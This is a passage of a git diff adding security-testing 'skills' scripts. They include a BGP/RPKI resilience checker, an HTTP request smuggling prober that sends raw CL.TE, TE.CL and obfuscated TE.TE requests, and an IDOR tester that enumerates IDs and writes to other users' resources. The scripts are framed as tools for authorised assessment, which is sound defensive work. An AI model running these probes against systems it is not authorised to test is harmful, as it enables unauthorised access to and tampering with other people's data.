scripts/agent.py --asn 12345 --prefix 203.0.113.0/24 +``` + +## Functions + +### `check_rpki_status(prefix, asn) -> dict` +Queries RIPEstat RPKI validation endpoint. Returns `{status, validating_roas}`. + +### `get_announced_prefixes(asn) -> list` +Lists all prefixes currently announced by the given ASN. + +### `get_routing_status(prefix) -> dict` +Returns first/last seen timestamps, visibility across RIS peers, and origin ASN list. + +### `check_roas(prefix) -> list` +Retrieves Route Origin Authorization records for the prefix. + +### `get_bgp_looking_glass(prefix) -> dict` +Queries RIPEstat looking glass for current route advertisements across RRCs. + +### `assess_hijack_resilience(asn) -> dict` +Runs full assessment: enumerates prefixes, checks RPKI, detects multi-origin conflicts. + +## RIPEstat API Endpoints + +| Endpoint | Purpose | +|----------|---------| +| `/rpki-validation/data.json` | RPKI validity for prefix-origin pair | +| `/announced-prefixes/data.json` | Prefixes announced by an ASN | +| `/routing-status/data.json` | Current routing state of a prefix | +| `/looking-glass/data.json` | BGP routes from RIS collectors | + +## Output Schema + +```json +{ + "asn": 12345, + "total_prefixes": 5, + "rpki_valid": 3, + "rpki_unprotected": 2, + "multi_origin_conflicts": 0, + "prefix_details": [{"prefix": "203.0.113.0/24", "rpki_status": "valid"}] +} +``` diff --git a/skills/exploiting-bgp-hijacking-vulnerabilities/scripts/agent.py b/skills/exploiting-bgp-hijacking-vulnerabilities/scripts/agent.py new file mode 100644 index 00000000..cebd3234 --- /dev/null +++ b/skills/exploiting-bgp-hijacking-vulnerabilities/scripts/agent.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python3 +# For authorized testing in lab/CTF environments only +"""BGP hijacking assessment agent for monitoring route origin validation and RPKI status.""" + +import argparse +import json +import logging +import sys +from datetime import datetime +from typing import List, Optional + +try: + import requests +except ImportError: + sys.exit("requests is required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +RIPESTAT_BASE = "https://stat.ripe.net/data" + + +def check_rpki_status(prefix: str, asn: int) -> dict: + """Check RPKI validation status for a prefix-origin pair via RIPEstat.""" + url = f"{RIPESTAT_BASE}/rpki-validation/data.json" + params = {"resource": f"AS{asn}", "prefix": prefix} + resp = requests.get(url, params=params, timeout=30) + resp.raise_for_status() + data = resp.json().get("data", {}) + return { + "prefix": prefix, + "asn": asn, + "status": data.get("status", "unknown"), + "validating_roas": data.get("validating_roas", []), + } + + +def get_announced_prefixes(asn: int) -> List[dict]: + """Get prefixes currently announced by an ASN via RIPEstat.""" + url = f"{RIPESTAT_BASE}/announced-prefixes/data.json" + params = {"resource": f"AS{asn}"} + resp = requests.get(url, params=params, timeout=30) + resp.raise_for_status() + prefixes = resp.json().get("data", {}).get("prefixes", []) + logger.info("AS%d announces %d prefixes", asn, len(prefixes)) + return prefixes + + +def get_routing_status(prefix: str) -> dict: + """Get current routing status for a prefix via RIPEstat.""" + url = f"{RIPESTAT_BASE}/routing-status/data.json" + params = {"resource": prefix} + resp = requests.get(url, params=params, timeout=30) + resp.raise_for_status() + data = resp.json().get("data", {}) + return { + "prefix": prefix, + "first_seen": data.get("first_seen", {}).get("time", ""), + "last_seen": data.get("last_seen", {}).get("time", ""), + "visibility": data.get("visibility", {}).get("v4", {}).get("total_ris_peers", 0), + "origins": [str(o.get("asn", "")) for o in data.get("origins", [])], + } + + +def check_roas(prefix: str) -> List[dict]: + """Query ROA (Route Origin Authorization) records for a prefix.""" + url = f"{RIPESTAT_BASE}/rpki-validation/data.json" + params = {"resource": prefix} + resp = requests.get(url, params=params, timeout=30) + resp.raise_for_status() + return resp.json().get("data", {}).get("validating_roas", []) + + +def get_bgp_looking_glass(prefix: str) -> dict: + """Query BGP looking glass for current route advertisements.""" + url = f"{RIPESTAT_BASE}/looking-glass/data.json" + params = {"resource": prefix} + resp = requests.get(url, params=params, timeout=30) + resp.raise_for_status() + rrcs = resp.json().get("data", {}).get("rrcs", []) + as_paths = [] + for rrc in rrcs: + for peer in rrc.get("peers", []): + as_paths.append({ + "rrc": rrc.get("rrc", ""), + "peer_asn": peer.get("asn_origin", ""), + "as_path": peer.get("as_path", ""), + "prefix": peer.get("prefix", ""), + }) + return {"prefix": prefix, "routes": as_paths[:20]} + + +def assess_hijack_resilience(asn: int) -> dict: + """Run a full BGP hijacking resilience assessment for an organization's ASN.""" + logger.info("Assessing BGP hijack resilience for AS%d", asn) + prefixes = get_announced_prefixes(asn) + results = [] + for p in prefixes: + prefix = p.get("prefix", "") + rpki = check_rpki_status(prefix, asn) + routing = get_routing_status(prefix) + multi_origin = len(routing.get("origins", [])) > 1 + results.append({ + "prefix": prefix, + "rpki_status": rpki["status"], + "roas": rpki["validating_roas"], + "origins_count": len(routing.get("origins", [])), + "multi_origin_conflict": multi_origin, + "visibility_peers": routing["visibility"], + }) + + unprotected = [r for r in results if r["rpki_status"] != "valid"] + conflicts = [r for r in results if r["multi_origin_conflict"]] + + return { + "assessment_date": datetime.utcnow().isoformat(), + "asn": asn, + "total_prefixes": len(prefixes), + "rpki_valid": len(results) - len(unprotected), + "rpki_unprotected": len(unprotected), + "multi_origin_conflicts": len(conflicts), + "prefix_details": results, + "risk_summary": [], + } + + +def main(): + parser = argparse.ArgumentParser(description="BGP Hijacking Assessment Agent") + parser.add_argument("--asn", type=int, required=True, help="Target ASN number") + parser.add_argument("--prefix", help="Specific prefix to check") + parser.add_argument("--output", default="bgp_assessment.json") + args = parser.parse_args() + + if args.prefix: + rpki = check_rpki_status(args.prefix, args.asn) + routing = get_routing_status(args.prefix) + lg = get_bgp_looking_glass(args.prefix) + report = {"rpki": rpki, "routing": routing, "looking_glass": lg} + else: + report = assess_hijack_resilience(args.asn) + + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-broken-function-level-authorization/LICENSE b/skills/exploiting-broken-function-level-authorization/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-broken-function-level-authorization/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-broken-link-hijacking/LICENSE b/skills/exploiting-broken-link-hijacking/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-broken-link-hijacking/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-constrained-delegation-abuse/LICENSE b/skills/exploiting-constrained-delegation-abuse/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-constrained-delegation-abuse/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-deeplink-vulnerabilities/LICENSE b/skills/exploiting-deeplink-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-deeplink-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-excessive-data-exposure-in-api/LICENSE b/skills/exploiting-excessive-data-exposure-in-api/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-excessive-data-exposure-in-api/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-http-request-smuggling/LICENSE b/skills/exploiting-http-request-smuggling/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-http-request-smuggling/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-http-request-smuggling/references/api-reference.md b/skills/exploiting-http-request-smuggling/references/api-reference.md new file mode 100644 index 00000000..4030ff5e --- /dev/null +++ b/skills/exploiting-http-request-smuggling/references/api-reference.md @@ -0,0 +1,53 @@ +# API Reference: HTTP Request Smuggling Detection Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | Architecture fingerprinting via HTTP headers | +| socket/ssl | stdlib | Raw HTTP request construction for smuggling probes | + +## CLI Usage + +```bash +python scripts/agent.py --url https://target.example.com/ --output smuggling.json +``` + +## Functions + +### `identify_architecture(url) -> dict` +Sends a GET request and inspects `Server`, `Via`, `X-Served-By`, `CF-Ray` headers to identify proxy/CDN chain. + +### `send_raw_request(host, port, request_bytes, use_ssl, timeout) -> tuple` +Low-level socket send for crafting ambiguous HTTP requests. Returns `(response_bytes, elapsed_seconds, error)`. + +### `test_clte_detection(host, port, use_ssl) -> dict` +Sends a CL.TE probe with mismatched `Content-Length` and incomplete chunked body. A response delay >5s suggests vulnerability. + +### `test_tecl_detection(host, port, use_ssl) -> dict` +Sends a TE.CL probe. Back-end reading `Content-Length` receives extra data that becomes the next request prefix. + +### `test_te_te_detection(host, port, use_ssl) -> dict` +Tests 5 `Transfer-Encoding` header obfuscation variants to detect differential parsing. + +### `run_assessment(url) -> dict` +Orchestrates all tests and compiles results. + +## Smuggling Types + +| Type | Front-End Uses | Back-End Uses | Detection | +|------|---------------|---------------|-----------| +| CL.TE | Content-Length | Transfer-Encoding | Time delay on incomplete chunk | +| TE.CL | Transfer-Encoding | Content-Length | Extra data becomes next request | +| TE.TE | Transfer-Encoding | Transfer-Encoding | Obfuscated TE header parsed differently | + +## Output Schema + +```json +{ + "target": "https://target.example.com/", + "architecture": {"server": "nginx", "cdn": "Cloudflare"}, + "tests": {"CL.TE": {"likely_vulnerable": false}, ...}, + "summary": {"clte_vulnerable": false, "tecl_vulnerable": false} +} +``` diff --git a/skills/exploiting-http-request-smuggling/scripts/agent.py b/skills/exploiting-http-request-smuggling/scripts/agent.py new file mode 100644 index 00000000..24492856 --- /dev/null +++ b/skills/exploiting-http-request-smuggling/scripts/agent.py @@ -0,0 +1,197 @@ +#!/usr/bin/env python3 +# For authorized testing in lab/CTF environments only +"""HTTP request smuggling detection agent using raw socket and requests.""" + +import argparse +import json +import logging +import socket +import ssl +import sys +import time +from urllib.parse import urlparse +from typing import Optional + +try: + import requests +except ImportError: + sys.exit("requests is required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def identify_architecture(url: str) -> dict: + """Identify the front-end/back-end HTTP architecture from response headers.""" + resp = requests.get(url, timeout=10, allow_redirects=False) + headers = dict(resp.headers) + arch = { + "url": url, + "server": headers.get("Server", "unknown"), + "via": headers.get("Via", ""), + "x_served_by": headers.get("X-Served-By", ""), + "x_cache": headers.get("X-Cache", ""), + "cf_ray": headers.get("CF-Ray", ""), + "http_version": f"HTTP/{resp.raw.version / 10:.1f}" if hasattr(resp.raw, "version") else "unknown", + } + if arch["cf_ray"]: + arch["cdn"] = "Cloudflare" + elif "cloudfront" in headers.get("X-Amz-Cf-Id", "").lower(): + arch["cdn"] = "AWS CloudFront" + elif arch["x_cache"]: + arch["cdn"] = "Varnish/CDN" + logger.info("Architecture: server=%s, cdn=%s", arch["server"], arch.get("cdn", "none")) + return arch + + +def send_raw_request(host: str, port: int, request_bytes: bytes, + use_ssl: bool = True, timeout: float = 10.0) -> tuple: + """Send a raw HTTP request and measure response time.""" + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + if use_ssl: + context = ssl.create_default_context() + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + sock = context.wrap_socket(sock, server_hostname=host) + start = time.time() + try: + sock.connect((host, port)) + sock.sendall(request_bytes) + response = b"" + while True: + try: + chunk = sock.recv(4096) + if not chunk: + break + response += chunk + except socket.timeout: + break + except Exception as exc: + elapsed = time.time() - start + return b"", elapsed, str(exc) + finally: + sock.close() + elapsed = time.time() - start + return response, elapsed, None + + +def test_clte_detection(host: str, port: int, use_ssl: bool = True) -> dict: + """Test for CL.TE smuggling via time-based detection.""" + probe = ( + f"POST / HTTP/1.1\r\n" + f"Host: {host}\r\n" + f"Content-Length: 4\r\n" + f"Transfer-Encoding: chunked\r\n" + f"\r\n" + f"1\r\nA\r\nX" + ).encode() + + response, elapsed, error = send_raw_request(host, port, probe, use_ssl, timeout=15) + vulnerable = elapsed > 5.0 and not error + result = { + "test": "CL.TE", + "response_time": round(elapsed, 2), + "likely_vulnerable": vulnerable, + "error": error, + } + logger.info("CL.TE test: %.2fs response (vulnerable=%s)", elapsed, vulnerable) + return result + + +def test_tecl_detection(host: str, port: int, use_ssl: bool = True) -> dict: + """Test for TE.CL smuggling via differential response.""" + probe = ( + f"POST / HTTP/1.1\r\n" + f"Host: {host}\r\n" + f"Content-Length: 6\r\n" + f"Transfer-Encoding: chunked\r\n" + f"\r\n" + f"0\r\n\r\nX" + ).encode() + + response, elapsed, error = send_raw_request(host, port, probe, use_ssl, timeout=15) + status = "" + if response: + first_line = response.split(b"\r\n", 1)[0].decode(errors="ignore") + status = first_line + + vulnerable = elapsed > 5.0 and not error + result = { + "test": "TE.CL", + "response_time": round(elapsed, 2), + "response_status": status, + "likely_vulnerable": vulnerable, + "error": error, + } + logger.info("TE.CL test: %.2fs (vulnerable=%s)", elapsed, vulnerable) + return result + + +def test_te_te_detection(host: str, port: int, use_ssl: bool = True) -> dict: + """Test for TE.TE smuggling with obfuscated Transfer-Encoding headers.""" + obfuscations = [ + "Transfer-Encoding: xchunked", + "Transfer-Encoding : chunked", + "Transfer-Encoding: chunked\r\nTransfer-Encoding: x", + "Transfer-Encoding:\tchunked", + "X: x\r\nTransfer-Encoding: chunked", + ] + results = [] + for obf in obfuscations: + probe = ( + f"POST / HTTP/1.1\r\n" + f"Host: {host}\r\n" + f"Content-Length: 4\r\n" + f"{obf}\r\n" + f"\r\n" + f"1\r\nA\r\nX" + ).encode() + response, elapsed, error = send_raw_request(host, port, probe, use_ssl, timeout=10) + results.append({ + "obfuscation": obf.replace("\r\n", " | "), + "response_time": round(elapsed, 2), + "suspicious": elapsed > 5.0, + }) + return {"test": "TE.TE", "obfuscation_results": results} + + +def run_assessment(url: str) -> dict: + """Run the full HTTP request smuggling assessment.""" + parsed = urlparse(url) + host = parsed.hostname + use_ssl = parsed.scheme == "https" + port = parsed.port or (443 if use_ssl else 80) + + arch = identify_architecture(url) + clte = test_clte_detection(host, port, use_ssl) + tecl = test_tecl_detection(host, port, use_ssl) + tete = test_te_te_detection(host, port, use_ssl) + + return { + "target": url, + "architecture": arch, + "tests": {"CL.TE": clte, "TE.CL": tecl, "TE.TE": tete}, + "summary": { + "clte_vulnerable": clte["likely_vulnerable"], + "tecl_vulnerable": tecl["likely_vulnerable"], + "any_suspicious": any(r["suspicious"] for r in tete["obfuscation_results"]), + }, + } + + +def main(): + parser = argparse.ArgumentParser(description="HTTP Request Smuggling Detection Agent") + parser.add_argument("--url", required=True, help="Target URL") + parser.add_argument("--output", default="smuggling_report.json") + args = parser.parse_args() + + report = run_assessment(args.url) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-idor-vulnerabilities/LICENSE b/skills/exploiting-idor-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-idor-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-idor-vulnerabilities/references/api-reference.md b/skills/exploiting-idor-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..7c6fd3a6 --- /dev/null +++ b/skills/exploiting-idor-vulnerabilities/references/api-reference.md @@ -0,0 +1,52 @@ +# API Reference: IDOR Vulnerability Testing Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | HTTP client for API endpoint testing | + +## CLI Usage + +```bash +python scripts/agent.py \ + --url https://target.example.com \ + --token-a "eyJ..." --token-b "eyJ..." \ + --endpoints "/api/v1/users/{id}/profile" "/api/v1/orders/{id}" \ + --own-id 101 --other-id 102 \ + --output idor_report.json +``` + +## IDORTester Class + +### `__init__(base_url, user_a_token, user_b_token, verify_ssl)` +Creates two `requests.Session` objects with different Bearer tokens for cross-user testing. + +### `test_horizontal_idor(endpoint_template, own_id, other_id, method) -> dict` +Accesses own resource then another user's resource with the same token. IDOR confirmed when both return 200 with different content. + +### `test_vertical_idor(endpoint, method) -> dict` +Accesses admin-only endpoints with a regular user token. Status 200 indicates missing authorization. + +### `test_id_enumeration(endpoint_template, id_range, method) -> dict` +Iterates over an ID range to discover valid objects. Returns count and sample IDs. + +### `test_write_idor(endpoint_template, other_id, payload) -> dict` +Sends PUT with another user's ID to test write-based IDOR. Status 200/201/204 indicates vulnerability. + +### `test_cross_session(endpoint_template, resource_id) -> dict` +Compares response hashes between two sessions for the same resource to detect missing authorization checks. + +### `generate_report() -> dict` +Returns all accumulated findings with severity assessment. + +## Output Schema + +```json +{ + "target": "https://target.example.com", + "total_findings": 2, + "findings": [{"type": "horizontal", "endpoint": "/api/v1/users/{id}/profile", "vulnerable": true}], + "severity": "High" +} +``` diff --git a/skills/exploiting-idor-vulnerabilities/scripts/agent.py b/skills/exploiting-idor-vulnerabilities/scripts/agent.py new file mode 100644 index 00000000..ae09ad37 --- /dev/null +++ b/skills/exploiting-idor-vulnerabilities/scripts/agent.py @@ -0,0 +1,178 @@ +#!/usr/bin/env python3 +# For authorized testing in lab/CTF environments only +"""IDOR vulnerability detection agent using requests with multi-session comparison.""" + +import argparse +import json +import logging +import sys +import hashlib +from typing import List, Optional + +try: + import requests +except ImportError: + sys.exit("requests is required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +class IDORTester: + """Tests for Insecure Direct Object Reference vulnerabilities.""" + + def __init__(self, base_url: str, user_a_token: str, user_b_token: str, + verify_ssl: bool = False): + self.base_url = base_url.rstrip("/") + self.verify = verify_ssl + self.session_a = requests.Session() + self.session_a.headers.update({"Authorization": f"Bearer {user_a_token}"}) + self.session_a.verify = verify_ssl + self.session_b = requests.Session() + self.session_b.headers.update({"Authorization": f"Bearer {user_b_token}"}) + self.session_b.verify = verify_ssl + self.findings = [] + + def _response_hash(self, resp: requests.Response) -> str: + return hashlib.md5(resp.content).hexdigest() + + def test_horizontal_idor(self, endpoint_template: str, own_id: str, + other_id: str, method: str = "GET") -> dict: + """Test horizontal IDOR by accessing another user's resource.""" + own_url = f"{self.base_url}{endpoint_template.replace('{id}', own_id)}" + other_url = f"{self.base_url}{endpoint_template.replace('{id}', other_id)}" + + own_resp = self.session_a.request(method, own_url, timeout=10) + other_resp = self.session_a.request(method, other_url, timeout=10) + + vulnerable = ( + other_resp.status_code == 200 + and own_resp.status_code == 200 + and self._response_hash(other_resp) != self._response_hash(own_resp) + ) + result = { + "type": "horizontal", + "endpoint": endpoint_template, + "method": method, + "own_status": own_resp.status_code, + "other_status": other_resp.status_code, + "vulnerable": vulnerable, + "own_content_length": len(own_resp.content), + "other_content_length": len(other_resp.content), + } + if vulnerable: + self.findings.append(result) + logger.warning("IDOR FOUND: %s %s", method, endpoint_template) + return result + + def test_vertical_idor(self, endpoint: str, method: str = "GET") -> dict: + """Test vertical IDOR by accessing admin endpoints with regular user token.""" + url = f"{self.base_url}{endpoint}" + resp = self.session_a.request(method, url, timeout=10) + vulnerable = resp.status_code == 200 + result = { + "type": "vertical", + "endpoint": endpoint, + "method": method, + "status_code": resp.status_code, + "vulnerable": vulnerable, + "content_length": len(resp.content), + } + if vulnerable: + self.findings.append(result) + logger.warning("Vertical IDOR: %s %s (status=%d)", method, endpoint, resp.status_code) + return result + + def test_id_enumeration(self, endpoint_template: str, id_range: range, + method: str = "GET") -> dict: + """Enumerate valid object IDs via response code analysis.""" + valid_ids = [] + for obj_id in id_range: + url = f"{self.base_url}{endpoint_template.replace('{id}', str(obj_id))}" + try: + resp = self.session_a.request(method, url, timeout=5) + if resp.status_code == 200: + valid_ids.append(obj_id) + except requests.RequestException: + continue + logger.info("Enumerated %d valid IDs in range %d-%d", len(valid_ids), + id_range.start, id_range.stop) + return { + "endpoint": endpoint_template, + "range_tested": f"{id_range.start}-{id_range.stop}", + "valid_ids_found": len(valid_ids), + "sample_ids": valid_ids[:10], + } + + def test_write_idor(self, endpoint_template: str, other_id: str, + payload: dict) -> dict: + """Test write-based IDOR via PUT/PATCH with another user's ID.""" + url = f"{self.base_url}{endpoint_template.replace('{id}', other_id)}" + resp = self.session_a.put(url, json=payload, timeout=10) + vulnerable = resp.status_code in (200, 201, 204) + result = { + "type": "write_idor", + "endpoint": endpoint_template, + "method": "PUT", + "target_id": other_id, + "status_code": resp.status_code, + "vulnerable": vulnerable, + } + if vulnerable: + self.findings.append(result) + logger.warning("Write IDOR: PUT %s (status=%d)", endpoint_template, resp.status_code) + return result + + def test_cross_session(self, endpoint_template: str, resource_id: str) -> dict: + """Compare responses between two authenticated sessions for the same resource.""" + url = f"{self.base_url}{endpoint_template.replace('{id}', resource_id)}" + resp_a = self.session_a.get(url, timeout=10) + resp_b = self.session_b.get(url, timeout=10) + same_response = self._response_hash(resp_a) == self._response_hash(resp_b) + result = { + "endpoint": endpoint_template, + "resource_id": resource_id, + "user_a_status": resp_a.status_code, + "user_b_status": resp_b.status_code, + "same_response": same_response, + "missing_authz": resp_a.status_code == 200 and resp_b.status_code == 200 and same_response, + } + return result + + def generate_report(self) -> dict: + """Compile IDOR assessment results.""" + return { + "target": self.base_url, + "total_findings": len(self.findings), + "findings": self.findings, + "severity": "High" if self.findings else "None", + } + + +def main(): + parser = argparse.ArgumentParser(description="IDOR Vulnerability Testing Agent") + parser.add_argument("--url", required=True, help="Base URL of the target API") + parser.add_argument("--token-a", required=True, help="JWT token for User A") + parser.add_argument("--token-b", required=True, help="JWT token for User B") + parser.add_argument("--endpoints", nargs="+", default=["/api/v1/users/{id}/profile"]) + parser.add_argument("--own-id", default="101", help="User A's resource ID") + parser.add_argument("--other-id", default="102", help="User B's resource ID") + parser.add_argument("--output", default="idor_report.json") + args = parser.parse_args() + + tester = IDORTester(args.url, args.token_a, args.token_b) + all_results = [] + for ep in args.endpoints: + result = tester.test_horizontal_idor(ep, args.own_id, args.other_id) + all_results.append(result) + report = tester.generate_report() + report["test_details"] = all_results + + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-insecure-data-storage-in-mobile/LICENSE b/skills/exploiting-insecure-data-storage-in-mobile/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-insecure-data-storage-in-mobile/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 